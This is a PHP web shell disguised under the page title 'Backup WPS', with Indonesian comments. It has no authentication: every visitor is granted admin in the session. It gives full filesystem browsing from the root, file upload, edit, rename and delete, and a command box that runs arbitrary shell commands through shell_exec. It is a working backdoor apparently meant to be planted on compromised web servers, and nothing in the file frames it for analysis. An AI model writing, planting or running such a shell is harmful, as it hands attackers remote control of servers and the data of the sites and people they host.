<?php
session_start();

// --- Aktifkan command ---
$_SESSION['is_admin'] = true;

// --- Tentukan HOME ---
$home_dir = __DIR__;
$r = $_SERVER['DOCUMENT_ROOT'];
if (!file_exists($r . '/index.php')) {
    $r = __DIR__;
    while (!file_exists($r . '/index.php') && $r !== '/') {
        $r = dirname($r);
    }
}
$allowed_root = '/';

$d = isset($_GET['d']) ? $_GET['d'] : ($_SESSION['last_dir'] ?? $home_dir);
$d = str_replace('..', '', $d);
$d = realpath($d) ?: $home_dir;
if (strpos($d, $allowed_root) !== 0) {
    $d = $allowed_root;
}
$_SESSION['last_dir'] = $d;
if (!isset($_SESSION['history'])) {
    $_SESSION['history'] = [];
}
if (end($_SESSION['history']) != $d) {
    $_SESSION['history'][] = $d;
}
if (count($_SESSION['history']) > 20) {
    array_shift($_SESSION['history']);
}

// --- Actions ---
$action = $_GET['action'] ?? '';
$target = $_GET['target'] ?? '';
$newName = $_POST['new_name'] ?? $_GET['new_name'] ?? '';
$content = $_POST['content'] ?? '';

if ($action === 'delete' && $target) {
    $full = realpath($d . '/' . $target);
    if ($full && strpos($full, $allowed_root) === 0) {
        is_dir($full) ? rmdir($full) : unlink($full);
    }
    header('Location: ?d=' . urlencode($d));
    exit;
}
if ($action === 'rename' && $target && $newName) {
    $old = realpath($d . '/' . $target);
    if ($old && strpos($old, $allowed_root) === 0) {
        $newPath = $d . '/' . $newName;
        rename($old, $newPath);
    }
    header('Location: ?d=' . urlencode($d));
    exit;
}
if ($action === 'edit' && $target) {
    $file = realpath($d . '/' . $target);
    if ($file && strpos($file, $allowed_root) === 0 && is_file($file)) {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['save'])) {
            file_put_contents($file, $content);
            header('Location: ?d=' . urlencode($d) . '&v=' . urlencode($file));
            exit;
        } else {
            $content = file_get_contents($file);
            $isEditable = true;
        }
    }
}

// --- Handle Command ---
$cmd_output = '';
if (isset($_POST['run_cmd']) && isset($_POST['cmd'])) {
    if (isset($_SESSION['is_admin']) && $_SESSION['is_admin'] === true) {
        $cmd = $_POST['cmd'];
        // Jalankan command di dalam folder yang sedang dibrowse ($d)
        $full = 'cd ' . escapeshellarg($d) . ' && ' . $cmd . ' 2>&1';
        $output = shell_exec($full);
        $cmd_output = $output !== null ? $output : 'No output or error.';
    } else {
        $cmd_output = 'Access denied.';
    }
}

// --- Fungsi ---
function formatPerms($path) {
    $perms = fileperms($path);
    if ($perms === false) return '---------';
    $info = '';
    $info .= is_dir($path) ? 'd' : '-';
    $info .= ($perms & 0x0100) ? 'r' : '-';
    $info .= ($perms & 0x0080) ? 'w' : '-';
    $info .= ($perms & 0x0040) ? 'x' : '-';
    $info .= ($perms & 0x0020) ? 'r' : '-';
    $info .= ($perms & 0x0010) ? 'w' : '-';
    $info .= ($perms & 0x0008) ? 'x' : '-';
    $info .= ($perms & 0x0004) ? 'r' : '-';
    $info .= ($perms & 0x0002) ? 'w' : '-';
    $info .= ($perms & 0x0001) ? 'x' : '-';
    return $info;
}

function viewFileWithLines($path) {
    if (!is_file($path)) return '';
    $lines = file($path);
    $html = '<div style="background:#1e1e1e;padding:10px;border-radius:5px;margin-top:10px;overflow:auto;font-family:monospace;font-size:14px;display:flex;">';
    $html .= '<div style="color:#666;text-align:right;padding-right:15px;user-select:none;border-right:1px solid #333;">';
    foreach ($lines as $i => $line) {
        $html .= ($i + 1) . "\n";
    }
    $html .= '</div><div style="padding-left:15px;white-space:pre-wrap;word-wrap:break-word;">';
    foreach ($lines as $line) {
        $html .= htmlspecialchars(rtrim($line, "\n")) . "\n";
    }
    $html .= '</div></div>';
    return $html;
}

// --- Tampilan utama ---
$f = scandir($d);

if (isset($_POST['mkd'])) {
    $n = $_POST['n'];
    if ($n) {
        mkdir($d . '/' . $n, 0755);
    }
    header('Location: ?d=' . urlencode($d));
    exit;
}
if (isset($_POST['mkf'])) {
    $n = $_POST['n'];
    if ($n) {
        file_put_contents($d . '/' . $n, '');
    }
    header('Location: ?d=' . urlencode($d));
    exit;
}
if (isset($_POST['up'])) {
    $t = $d . '/' . basename($_FILES['f']['name']);
    move_uploaded_file($_FILES['f']['tmp_name'], $t);
    header('Location: ?d=' . urlencode($d));
    exit;
}

echo '<html><head><title>Backup WPS</title><style>
body { background:#111; color:#eee; font-family:monospace; padding:15px; }
a { color:#58a6ff; text-decoration:none; }
a:hover { text-decoration:underline; }
input, button { background:#222; color:#eee; border:1px solid #333; padding:4px 8px; border-radius:3px; }
button { cursor:pointer; background:#238636; border:none; color:#fff; }
button.danger { background:#da3633; }
button.warn { background:#d29922; }
button.primary { background:#1f6feb; }
table { 
    width:100%; 
    border-collapse:collapse; 
    table-layout: fixed;
}
td, th { 
    padding:6px 8px; 
    border-bottom:1px solid #333; 
    text-align:left; 
    overflow: hidden;
    text-overflow: ellipsis;
    white-space: nowrap;
}
td:last-child, th:last-child { text-align:right; }
th:nth-child(1), td:nth-child(1) { width: 40%; }
th:nth-child(2), td:nth-child(2) { width: 15%; }
th:nth-child(3), td:nth-child(3) { width: 25%; }
th:nth-child(4), td:nth-child(4) { width: 20%; }

.actions a { margin-left:10px; font-size:13px; }
.writable-yes { color:#3fb950; }
.writable-no { color:#f85149; }
.perms { font-size:12px; color:#8b949e; }
.command-box { background:#0d1117; border:1px solid #30363d; padding:10px; border-radius:5px; margin-bottom:10px; }
.command-box input[type=text] { width:70%; background:#000; }
/* --- FIXED textarea ukuran --- */
.command-box textarea {
    width: 100%;
    height: 220px;          /* ukuran tetap */
    resize: none;           /* tidak bisa diubah */
    background: #1e1e1e;
    color: #eee;
    border: 1px solid #333;
    padding: 5px;
    font-family: monospace;
    font-size: 13px;
    margin-top: 5px;
    box-sizing: border-box;
}
</style></head><body>';

// Navigasi
echo '<div style="background:#222;padding:10px;border-radius:5px;margin-bottom:10px;display:flex;gap:10px;flex-wrap:wrap;align-items:center;">';
echo '<a href="?d=' . urlencode(dirname($d)) . '">⬆ UP</a>';
echo '<a href="?d=' . urlencode($home_dir) . '">🏠 HOME</a>';

// --- Breadcrumb clickable, dibungkus 1 span biar gap flex tidak kena ---
$parts = explode('/', trim($d, '/'));
$built = '';
$crumb = '<span style="color:#888;">|</span> <span style="color:#888;">/</span>';
$last = count($parts) - 1;
foreach ($parts as $i => $part) {
    if ($part === '') continue;
    $built .= '/' . $part;
    $crumb .= '<a href="?d=' . urlencode($built) . '" style="color:#58a6ff;">' . htmlspecialchars($part) . '</a>';
    if ($i < $last) $crumb .= '<span style="color:#666;">/</span>';
}
echo '<span>' . $crumb . '</span>';
echo '</div>';

// --- COMMAND BOX ---
echo '<div class="command-box">';
echo '<form method="post" style="display:flex;gap:5px;align-items:center;">';
echo '<input type="text" name="cmd" placeholder="Enter command (e.g., ls -la)" style="flex:1;" value="' . htmlspecialchars($_POST['cmd'] ?? '') . '">';
echo '<button type="submit" name="run_cmd" style="background:#1f6feb;">▶ Run</button>';
echo '<button type="button" onclick="document.getElementById(\'cmdOutput\').innerHTML=\'\';" style="background:#8b949e;">Clear</button>';
echo '</form>';
if ($cmd_output !== '') {
    echo '<textarea id="cmdOutput" readonly>' . htmlspecialchars($cmd_output) . '</textarea>';
}
echo '</div>';

// Form upload, mkdir, mkfile
echo '<div style="background:#222;padding:10px;border-radius:5px;margin-bottom:10px;display:flex;gap:10px;flex-wrap:wrap;align-items:center;">';
echo '<form method="post" enctype="multipart/form-data" style="display:inline">
        <input type="file" name="f" required>
        <button type="submit" name="up">📤 UPLOAD</button>
      </form>';
echo '<form method="post" style="display:inline"><input type="text" name="n" placeholder="folder" style="background:#000;"><button type="submit" name="mkd" class="warn">📁 MKDIR</button></form>';
echo '<form method="post" style="display:inline"><input type="text" name="n" placeholder="file" style="background:#000;"><button type="submit" name="mkf" class="primary">📄 MKFILE</button></form>';
echo '</div>';

// --- TABEL ---
echo '<table>';
echo '<tr><th>Name</th><th>Size</th><th>Permissions</th><th style="text-align:right;">Actions</th></tr>';
foreach ($f as $n) {
    if ($n == '.' || $n == '..') continue;
    $p = $d . '/' . $n;
    $isDir = is_dir($p);
    $size = $isDir ? '' : (filesize($p) < 1024 ? filesize($p) . 'B' : round(filesize($p) / 1024, 2) . 'KB');
    $icon = $isDir ? '📁' : '📄';
    $nameDisplay = htmlspecialchars($n);
    if ($isDir) {
        $link = '<a href="?d=' . urlencode($p) . '">' . $icon . ' ' . $nameDisplay . '</a>';
    } else {
        $link = '<a href="?d=' . urlencode($d) . '&v=' . urlencode($p) . '">' . $icon . ' ' . $nameDisplay . '</a>';
    }
    $perms = formatPerms($p);
    $writable = is_writable($p);
    $writableIcon = $writable ? '<span class="writable-yes">✅</span>' : '<span class="writable-no">❌</span>';
    $permsDisplay = '<span class="perms">' . htmlspecialchars($perms) . ' ' . $writableIcon . '</span>';

    $actions = '';
    $actions .= '<a href="?d=' . urlencode($d) . '&action=rename&target=' . urlencode($n) . '" style="color:#d29922;">✏️</a>';
    $actions .= ' <a href="#" onclick="if(confirm(\'Delete ' . addslashes($n) . '?\')) window.location=\'?d=' . urlencode($d) . '&action=delete&target=' . urlencode($n) . '\'; return false;" style="color:#da3633;">🗑️</a>';
    if (!$isDir && preg_match('/\.(txt|php|html|css|js|json|xml|md|conf|ini)$/i', $n)) {
        $actions .= ' <a href="?d=' . urlencode($d) . '&action=edit&target=' . urlencode($n) . '" style="color:#1f6feb;">📝</a>';
    }
    echo '<tr><td>' . $link . '</td><td>' . $size . '</td><td>' . $permsDisplay . '</td><td style="text-align:right;">' . $actions . '</td></tr>';
}
echo '</table>';

// --- Edit, View, Rename ---
if (isset($isEditable) && $isEditable) {
    echo '<hr style="border-color:#333;">';
    echo '<h3>Editing: ' . htmlspecialchars($target) . '</h3>';
    echo '<form method="post" style="margin-top:10px;">';
    echo '<textarea name="content" style="width:100%;height:300px;background:#1e1e1e;color:#eee;border:1px solid #333;padding:10px;font-family:monospace;font-size:14px;">' . htmlspecialchars($content) . '</textarea>';
    echo '<br><button type="submit" name="save" style="margin-top:5px;">💾 Save</button>';
    echo ' <a href="?d=' . urlencode($d) . '" style="color:#58a6ff;">Cancel</a>';
    echo '</form>';
}
if (isset($_GET['v'])) {
    $v = realpath($_GET['v']);
    if ($v && strpos($v, $allowed_root) === 0 && is_file($v)) {
        echo '<hr style="border-color:#333;">';
        echo '<div><strong>Viewing:</strong> ' . htmlspecialchars(basename($v)) . ' &nbsp; <a href="?d=' . urlencode($d) . '">⬅ Back</a></div>';
        echo viewFileWithLines($v);
    }
}
if ($action === 'rename' && $target) {
    echo '<hr style="border-color:#333;">';
    echo '<h3>Rename: ' . htmlspecialchars($target) . '</h3>';
    echo '<form method="post" action="?d=' . urlencode($d) . '&action=rename&target=' . urlencode($target) . '">';
    echo '<input type="text" name="new_name" value="' . htmlspecialchars($target) . '" style="width:300px;">';
    echo ' <button type="submit" class="warn">Rename</button>';
    echo ' <a href="?d=' . urlencode($d) . '" style="color:#58a6ff;">Cancel</a>';
    echo '</form>';
}

echo '</body></html>';
?>